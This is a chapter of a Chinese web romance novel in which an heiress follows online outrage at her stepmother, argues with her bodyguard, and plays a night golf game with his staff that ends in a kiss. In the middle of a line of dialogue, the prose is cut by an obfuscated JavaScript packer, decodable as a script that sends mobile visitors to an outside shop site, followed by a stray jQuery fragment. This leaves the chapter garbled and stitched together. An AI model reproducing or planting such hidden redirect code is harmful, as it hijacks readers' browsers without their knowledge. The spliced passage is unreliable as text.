中午,暴砶在一楼给池荔开了间接待室,让她躺在沙发上休息,他就坐在旁边抱着电脑看文件。
等到太阳不那么晒了,池荔去后面训练场的遮阳棚下,如同领导视察一般看大家训练,暴砶就回楼上继续工作。
池荔靠在椅背跷起了二郎腿,单手滑动手机看网上的热搜。
她去派出所报警的照片和视频已经被传播到了互联网的各个角落,她早上在医院前那番茶言茶语也被网友们解读得差不多了。
网友们都说:紧急送医抢救之后,还要拿药回家休养,那就是身体还没好,可见池大小姐过敏症状很严重。
家里人都知道池大小姐巧克力过敏,还在宴会上准备了外表看不出来的巧克力蛋糕,就是故意想让她误食导致过敏。
池大小姐想进自家公司帮忙,可却还小心翼翼地不知道能不能进,那肯定是后妈忌惮她,不想让她去公司分一杯羹。
再结合这么多年把她放在国外不闻不问的做法,一看就是后妈的心机,她想把池家女儿踢出局,然后自己和儿子独吞池氏集团。
可那是已故池夫人跟丈夫一起打拼出来的事业,凭什么让恶毒后妈坐收渔翁之利?
再往下看,还有律师拿出某个曾被法院判决过的芒果过敏案例进行了普法:
如果行为人明知对方过敏,还使用强迫、欺骗或诱导等手段让对方摄入过敏原,并且主观上是希望有危害结果发生的,那么就有可能构成《刑法》第234条规定的故意伤害罪。
网友们又纷纷开起了线上法庭,热烈讨论后妈这种做法到底应该判几年?甚至有人在微博弄了个投票,让大家自行统计。
池荔虽然让元恺的团队关注舆论,适时买热搜把这件事推上高位。
但从昨天半夜开始的全民狂欢,到今天网友们通过微博、抖音、小红书等各个社交平台对她后妈进行全方位地贴脸讨伐,都不会是她一个人的手笔,反倒像是还有其他人在推波助澜。
这个园区里不太安全,她只能等晚上回家再给元恺打电话,让他查一查背后的人是谁?现在这看似帮她的做法是否还有其他意图?
如果是想捧杀她,她也得早做准备。
不过,不管那个人后续会做什么,池荔现在划拉着热搜依然忍不住眉眼弯弯地开心,也不知道林美芸看到这些,会不会鼻子都气歪了?
身后忽然传来暴砶的声音:“池小姐。”
池荔转头看他,不但没有收敛笑容,反而笑得更大了一些。
她把手机递给他,说:“你来投个票。”
暴砶接过,看了投票内容,之后选了“无法定罪”的选项,又把手机还了回去。
池荔不高兴地按灭手机,语气悠悠道:“你还挺维护她的。”
今天早上池荔要去报警时暴砶就试图阻拦,把她气坏了。
其实池荔一开始就怀疑暴砶可能是林美芸的间谍,但本着她也可以利用他的想法,后来对他是谁的人这件事倒没那么在意了。
可现在,她越来越觉得暴砶作为她的保镖,却不肯完全站在她这边,她想信任的人却让她不能信任,实在让她太生气了。
要不是她想在无法进入池氏集团的情况下,穿过安防系统去查公司的内部信息,需要跟暴砶搞好关系,她早就跟他翻脸了。
暴砶见池荔不高兴了,跟她解释道:“现在没有证据,定不了罪。”
原本暴砶以为是池荔自己拿巧克力设局,他怕她会因为一时冲动报假警而惹麻烦,所以在派出所门口拦住她,让她考虑清楚再进去。
池荔却推着他的胸口让他走开,说:“你不想知道把巧克力蛋糕放在宴会的人是谁吗?还是你本来就知道?”
暴砶便顺势反问:“是你吗?”
池荔轻嗤了一声,“我可没那么蠢。”
暴砶这才不再拦着她去报警了。
因为,他相信她。
如果不是她自己设局,那他也一定会想办法帮她查出想害她的人到底是谁。
池家别墅的监控系统也是岚盾公司做的,今天他们报警之后拿到了授权,暴砶就让人把昨天的监控全都调出来了。
一整天,他们都在里间那个办公室里查看各个时段和机位拍到的视频。
池家佣人们从早到晚都在正常进行宴会准备和物品交接、布置,丝毫看不出什么异常。
刚才下楼时,暴砶还跟派出所那边通了个电话,警察已经走访了给池家宴会提供蛋糕的品牌,对方出示了订购单和制作时的监控视频,并没有添加巧克力相关的食材。
虽然警察表示会继续调取蛋糕配送沿途的监控来查这件事,但暴砶也明白,现在还没查到证据就不能给任何人定罪。
暴砶轻声劝池荔:“别生气了,先吃饭吧。”
池荔这才站起身,面无表情地往食堂走去。
饭后,大家又按暴砶的交待,从仓库里把尘封已久的高尔夫用具全都搬出来擦干净,摆在了一楼北侧的廊下。
天完全黑了,园区里开了照明大灯,果真如靳颀所说,虽然不再有往日高尔夫球场的高端繁华,但这样的夜色中却有些别样的浪漫风情。
池荔又被美景感染,高兴起来了。
她拎着根七号铁跟大家介绍规则:“咱们场地条件有限,就不玩别的,只打一百码吧?”
就是在场地中量好一百码的距离,立个标志,谁打出去的球最接近那个标志,就算谁赢。
大家说行,比什么不重要,重要的是有得玩。
虽然只是个简单的小游戏,但大家也相当重视,甚至玩出了高科技。
有人抱着电脑坐在一旁,负责用程序和专业仪器测量码数当裁判,还有人直接操控起无人机,飞到那个码数标志上空实时回传画面,力求比赛结果公平公正。
剩下参与比赛的人分成了两组,池荔在大家推举下率先开球后,两组人就交替上场,对着那个一百码的标志一个个开球。
池荔一球击中了码数标志,她直接蹦跳起来,提前庆祝胜利。
她是会打高尔夫的,打得不太好,但至少会掌握力道,也有准头。
而那些小伙子们虽然体力不错,但总有人蛮力打得远了,或者挥了空杆,或者直接打偏,球往旁边飞了……
比赛奖品也接地气,都是靳颀自告奋勇开着车去附近超市买来的面包、饼干和小零食们。
池荔把新赢来的饼干放到打位后的桌子上,暴砶就伸手拿过,再帮她装进袋子里。
已经有小半袋了。
暴砶没有参加他们的比赛,就一直坐在后面边喝茶边看他们玩。
池荔每次一赢就会兴奋地欢呼跳跃,他也会不自觉地看着她目光柔和、唇角上扬。
公司成立这么久,时常也会组织一些聚餐或者团建活动,却好像从来没有哪一晚是这么热闹过。
笑声和欢呼声一直在园区上空回荡。
池荔又赢了一局,这次拿了个菠萝包回来递给暴砶,他就再帮她装进袋子里。
池荔也有点累了,她顺手把球杆横在桌子上,自己则坐在了圆桌另一侧的椅子。
暴砶拧开一瓶矿泉水递给她,池荔没接,她瞥向桌上的茶壶和暴砶手边的杯子,问:“你喝的什么?”
“普洱。”
“好喝吗?”
“不怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625203|204764||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么好喝。”
“那我尝尝。”
暴砶挑眉看她:“你确定?”
池荔则表情认真地反问他:“下毒了吗?”
暴砶说:“没有。”
“那就好。”
见暴砶没动,池荔还眼神示意他:快倒茶呀。
暴砶便拿了个新杯子,给她倒了一小杯。
池荔抿了一小口,果然有一种奇特的陈年味道,但暴砶已经喝了一会儿了,茶里的味道淡了,倒也没觉得多么不好喝。
那边,明朗终于瞎猫碰上死耗子地又一挥杆,小球直接铛的一声击中了码数标志。
明朗激动地回身冲池荔喊:“嫂子,嫂子,我打中了!”
池荔便起身小跑过去,抬手跟他重重击掌以示庆贺。
然后明朗掏出两根棒棒糖,两人一人一根地叼着,又并肩摆出同款双手环胸的姿势,看别人继续打球。
一直玩到快十点,大家才依依不舍地结束了。园区宿舍有规定,晚上11点准时熄灯。
他们没有更先进的捡球设备,只能有人开着简陋的捡球小车绕着训练场去收拾被他们打了满场的球,剩下的人则拎着球杆走到训练场最远处一字排开,用球杆将场地里的漏网之球一点点往回推。
这样才能将场地打扫干净,不影响明天的训练。
池荔站在人群中间,跟着众人的步伐缓缓往回走,遇到落单的小球,她就用球杆轻轻一推,那小球就顺着地面骨碌碌向前滚去。
等他们把各处收集的小球聚成堆,捡球车就会开过来,把球全都收进车斗里。
池荔转头看向身旁的人:“暴砶。”
她一说话就忽略了脚下,明朗也没想到自己伸过去推球的杆子会绊到别人。池荔身体摇晃着向前差点摔倒,暴砶眼疾手快地伸手一捞,就把她拦腰扶住了。
池荔双手搭在他的手臂上,站稳了才抬头看他。
暴砶嗓音低沉又轻地说:“小心点。”
明朗则紧张道:“嫂子对不起,你没事吧?”
“没事没事。”池荔并不怎么在意这点小事,差点摔倒也没让她忘了刚才想说的话:“暴砶,我想玩那个小车。”
捡球车底盘矮矮、个头小小,跟卡丁车似的,还能一下子就吞进去一小堆球,看着就好玩。
暴砶让她自己站稳,他松开手才叫那边开车的小郭:“你过来一下。”
小郭把车开到他们面前,下车笑呵呵道:“砶哥啥事?”
暴砶接过池荔手中的球杆递给小郭,说:“你跟他们推球吧,我开车。”
小郭依然笑呵呵,对任何安排都不质疑地爽快道:“好嘞。”
暴砶打开车门让池荔先坐进去,然后他自己坐在驾驶位扶着方向盘,在场地里绕圈开。
池荔指着一个方向:“那边那边。”
暴砶就转过去,把那一小堆球收了。
捡球车里空间很小,两个人坐在里面几乎是胳膊腿都要贴在一起。
池荔轻轻扯了扯暴砶卷起的衬衫袖子,小声道:“暴砶。”
暴砶转头看她:“嗯?”
众人已经走回三层小楼前,将还没来得及收进捡球车的小球聚成几堆,整齐地排在了一条水平线上。
回头刚要跟暴砶说一声,就见捡球车已经在距离他们二三十米的地方停住了。
训练场内灯光明亮,但坐在捡球车里的两人因为有车外护栏的遮挡,身影还是有些不太清晰。
此刻,众人看到的、再加上根据氛围脑补的车内画面就是:暴砶微微转头看向池荔,而池荔则握住他的手臂,对着他缓缓前倾身体,最后吻上了他的脸颊。